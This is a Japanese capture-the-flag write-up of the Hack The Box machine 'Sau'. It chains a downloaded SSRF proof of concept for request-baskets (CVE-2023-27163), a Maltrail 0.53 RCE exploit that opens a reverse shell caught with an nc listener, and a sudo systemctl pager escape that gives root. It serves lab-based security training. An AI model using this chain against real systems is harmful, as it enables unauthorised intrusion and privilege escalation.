Skip to content

Hack the box - Sau

1. nmapでRecon

Terminal window
# Nmap 7.94SVN scan initiated Tue Feb 6 21:31:14 2024 as: nmap -A -p- -oN nmap.out 10.129.229.26
Nmap scan report for 10.129.229.26
Host is up (0.092s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
| 256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_ 256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
80/tcp filtered http
8338/tcp filtered unknown
55555/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
...

80/tcp, 8338/tcpはブラウザからアクセスできなさそう。55555/tcpはアクセスできた。

2. Request-Bucketsへのアクセス

55555/tcpはRequest-basketsというWebサーバが動いている。 Google検索したところ、Githubで公開されているようだ:darklynx/request-baskets: HTTP requests collector to test webhooks, notifications, REST clients and more …

このRequest-basketsは、受け取ったHTTPのリクエストを分析する目的で画面上に表示したりAPIで情報を取得できたりするようにするツールらしい。このソフトウェアのAPIドキュメントについてはターゲットからもリンクが入手できる。このターゲット上で動作しているバージョンもAPIでとることができた。

{
"name": "request-baskets",
"version": "1.2.1",
"commit": "n/a",
"commit_short": "n/a",
"source_code": "https://github.com/darklynx/request-baskets"
}

“Request-baskets 1.2.1”などで検索すると、CSRFの脆弱性へのPOCが見つかる。

PoC of SSRF on Request-Baskets (CVE-2023-27163)

どうやらforward_urlというパラメータを作って新たなエンドポイントを作れば、そこ目掛けて投げたリクエストはforward_urlで指定した宛先へそのままフォワードされるようだ。このPOCを使えば、ターゲットの80/tcp8338/tcpにもアクセスできるのでは?

Terminal window
$ wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh
--2024-02-07 16:54:18-- https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.108.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1669 (1.6K) [text/plain]
Saving to: ‘CVE-2023-27163.sh’
CVE-2023-27163.sh 100%[============================================================================>] 1.63K --.-KB/s in 0.004s
2024-02-07 16:54:18 (424 KB/s) - ‘CVE-2023-27163.sh’ saved [1669/1669]
$ chmod +x CVE-2023-27163.sh
$ bash ./CVE-2023-27163.sh http://10.129.229.26:55555/ http://localhost:8338/
Proof-of-Concept of SSRF on Request-Baskets (CVE-2023-27163) || More info at https://github.com/entr0pie/CVE-2023-27163
> Creating the "ribnjo" proxy basket...
> Basket created!
> Accessing http://10.129.229.26:55555/ribnjo now makes the server request to http://localhost:8338/.
> Authorization: OsK4f7d_hbSKWAAevvnjPcxT5hr6vkxyeGrfwd9mvege

http://10.129.229.26:55555/ribnjoへのアクセスは、ターゲットサーバ上のhttp://localhost:8338/にフォワードされるようになった。

3. Maltrailへのアクセス

http://10.129.229.26:55555/ribnjoへアクセスすると、フォワードされた先はMaltrailなるサービスが動作している。こちらもGithubにて公開されているソフトウェアのようだ。

stamparm/maltrail: Malicious traffic detection system

バージョンも0.53とすぐに入手できる。Google検索するとすぐにPOCが見つかる。

spookier/Maltrail-v0.53-Exploit: RCE Exploit For Maltrail-v0.53

ローカルでncコマンドで待ち受けながらこのPOCを使うことで、リバースシェルが獲得できる。 (POC中の/bin/sh/bin/bashに書き換えて使わせてもらった)

Terminal window
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.38] from (UNKNOWN) [10.129.229.26] 47392
puma@sau:/opt/maltrail$

ユーザのフラグを入手する。

4. PrivEsc

お決まりのsudo -l

Terminal window
Matching Defaults entries for puma on sau:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

GTFObinsExploit-Notesにて、pagerが起動することを悪用してrootのシェルを奪取する解説が書いてあるので試してみる。

Terminal window
puma@sau:~$ sudo /usr/bin/systemctl status trail.service
sudo /usr/bin/systemctl status trail.service
WARNING: terminal is not fully functional
- (press RETURN)!sh
!sshh!sh
# whoami
whoami
root

成功したのでrootのフラグをとる。 リバースシェルとかでpagerが使えなくても通るのね。